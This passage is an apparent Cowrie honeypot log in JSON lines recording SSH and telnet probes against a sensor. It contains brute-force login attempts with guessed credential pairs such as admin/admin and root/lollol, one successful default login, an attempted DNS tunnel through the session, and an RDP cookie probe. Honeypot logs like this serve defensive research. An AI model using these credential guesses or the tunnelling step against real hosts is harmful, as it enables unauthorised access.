{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:f9:78:f2:70:a0:c8:d3:4a:cd:7c:eb:bc:54:d1:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMoFexDcQW2axzifNrYhXWeIu0I/vL2Ixj5m/mzs6ly0+Z0Tn1QsK5wT0n5GfBpdrFyXjwtFyKxTXnCjRVejnq54XcznnKNF/ttHSlRfOdH65Sh8nYOx3uBVR3VLCdA2PmmKE4z1OsJza3AvVKBTVlVqomfZ3ElT8wzWaTL6uEWpz75vDuf0JuDdRb+GUcoUjP+hENWtTd3Lqih8PQcBu1CkLlIdh811oYcXybTJIsyriZ3ckMg++hksTpUkUoR58PcYl1k3ZO8QgElrsZ5Xv1I9JIvlDiIlHcGnCpAFNzYHrsYJoKGB/XD368GUZsQQU43MzF9WRFIT3yFNSwnX7p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:f9:78:f2:70:a0:c8:d3:4a:cd:7c:eb:bc:54:d1:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:59:17.887178Z","src_ip":"209.209.8.82","session":"4b805884d363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:f9:78:f2:70:a0:c8:d3:4a:cd:7c:eb:bc:54:d1:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMoFexDcQW2axzifNrYhXWeIu0I/vL2Ixj5m/mzs6ly0+Z0Tn1QsK5wT0n5GfBpdrFyXjwtFyKxTXnCjRVejnq54XcznnKNF/ttHSlRfOdH65Sh8nYOx3uBVR3VLCdA2PmmKE4z1OsJza3AvVKBTVlVqomfZ3ElT8wzWaTL6uEWpz75vDuf0JuDdRb+GUcoUjP+hENWtTd3Lqih8PQcBu1CkLlIdh811oYcXybTJIsyriZ3ckMg++hksTpUkUoR58PcYl1k3ZO8QgElrsZ5Xv1I9JIvlDiIlHcGnCpAFNzYHrsYJoKGB/XD368GUZsQQU43MzF9WRFIT3yFNSwnX7p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:59:17.891606Z","src_ip":"209.209.8.82","session":"4b805884d363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:59:17.911876Z","src_ip":"209.209.8.82","session":"4b805884d363","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":58128,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b91e1a3eeb8","protocol":"ssh","message":"New connection: 147.45.211.215:58128 (159.203.135.109:22) [session: 6b91e1a3eeb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:59:56.846533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:59:56.853191Z","src_ip":"147.45.211.215","session":"6b91e1a3eeb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:59:57.025931Z","src_ip":"147.45.211.215","session":"6b91e1a3eeb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"za12345123","message":"login attempt [root/za12345123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:59:57.547412Z","src_ip":"147.45.211.215","session":"6b91e1a3eeb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:59:58.722473Z","src_ip":"147.45.211.215","session":"6b91e1a3eeb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":29378,"dst_ip":"10.17.0.5","dst_port":22,"session":"764e56246113","protocol":"ssh","message":"New connection: 87.251.64.176:29378 (10.17.0.5:22) [session: 764e56246113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:00:33.210935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:00:33.215554Z","src_ip":"87.251.64.176","session":"764e56246113","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:00:33.312581Z","src_ip":"87.251.64.176","session":"764e56246113","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:00:33.605084Z","src_ip":"87.251.64.176","session":"764e56246113","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:00:33.704749Z","session":"764e56246113","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:00:33.808450Z","src_ip":"87.251.64.176","session":"764e56246113","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:00:33.908440Z","src_ip":"87.251.64.176","session":"764e56246113","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":60236,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f2a01f2a690","protocol":"ssh","message":"New connection: 2.57.122.238:60236 (159.203.135.109:22) [session: 4f2a01f2a690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:00:41.945416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:00:41.950797Z","src_ip":"2.57.122.238","session":"4f2a01f2a690","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:00:42.055435Z","src_ip":"2.57.122.238","session":"4f2a01f2a690","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:00:42.369042Z","src_ip":"2.57.122.238","session":"4f2a01f2a690","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:00:43.476592Z","src_ip":"2.57.122.238","session":"4f2a01f2a690","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":39722,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0e0c783c115","protocol":"ssh","message":"New connection: 80.94.92.171:39722 (10.17.0.5:22) [session: f0e0c783c115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:08.522831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:08.796914Z","src_ip":"80.94.92.171","session":"f0e0c783c115","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:08.801038Z","src_ip":"80.94.92.171","session":"f0e0c783c115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:09.910673Z","src_ip":"80.94.92.171","session":"f0e0c783c115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52248,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6a0008d0f6e","protocol":"telnet","message":"New connection: 192.119.13.58:52248 (10.17.0.5:23) [session: e6a0008d0f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:10.388065Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:11.079267Z","src_ip":"80.94.92.171","session":"f0e0c783c115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55732,"dst_ip":"10.17.0.5","dst_port":22,"session":"e26ffaeb1aef","protocol":"ssh","message":"New connection: 152.42.212.128:55732 (10.17.0.5:22) [session: e26ffaeb1aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:13.765444Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:13.770503Z","src_ip":"152.42.212.128","session":"e26ffaeb1aef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:13.774168Z","src_ip":"152.42.212.128","session":"e26ffaeb1aef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":53788,"dst_ip":"159.203.135.109","dst_port":22,"session":"300b7a9ff4cb","protocol":"ssh","message":"New connection: 80.94.92.186:53788 (159.203.135.109:22) [session: 300b7a9ff4cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:37.138600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:37.198165Z","src_ip":"80.94.92.186","session":"300b7a9ff4cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:37.292300Z","src_ip":"80.94.92.186","session":"300b7a9ff4cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:37.819350Z","src_ip":"80.94.92.186","session":"300b7a9ff4cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:38.999986Z","src_ip":"80.94.92.186","session":"300b7a9ff4cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":52872,"dst_ip":"159.203.135.109","dst_port":22,"session":"9340e917c70d","protocol":"ssh","message":"New connection: 193.228.128.84:52872 (159.203.135.109:22) [session: 9340e917c70d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:45.792906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:45.798289Z","src_ip":"193.228.128.84","session":"9340e917c70d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:45.902659Z","src_ip":"193.228.128.84","session":"9340e917c70d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lollol","message":"login attempt [root/lollol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:46.216682Z","src_ip":"193.228.128.84","session":"9340e917c70d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:47.323797Z","src_ip":"193.228.128.84","session":"9340e917c70d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.00351428985596,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:53.391446Z","src_ip":"192.119.13.58","session":"e6a0008d0f6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":58286,"dst_ip":"159.203.135.109","dst_port":22,"session":"faef305e1e1c","protocol":"ssh","message":"New connection: 62.133.62.83:58286 (159.203.135.109:22) [session: faef305e1e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:56.138084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:01:56.142328Z","src_ip":"62.133.62.83","session":"faef305e1e1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"la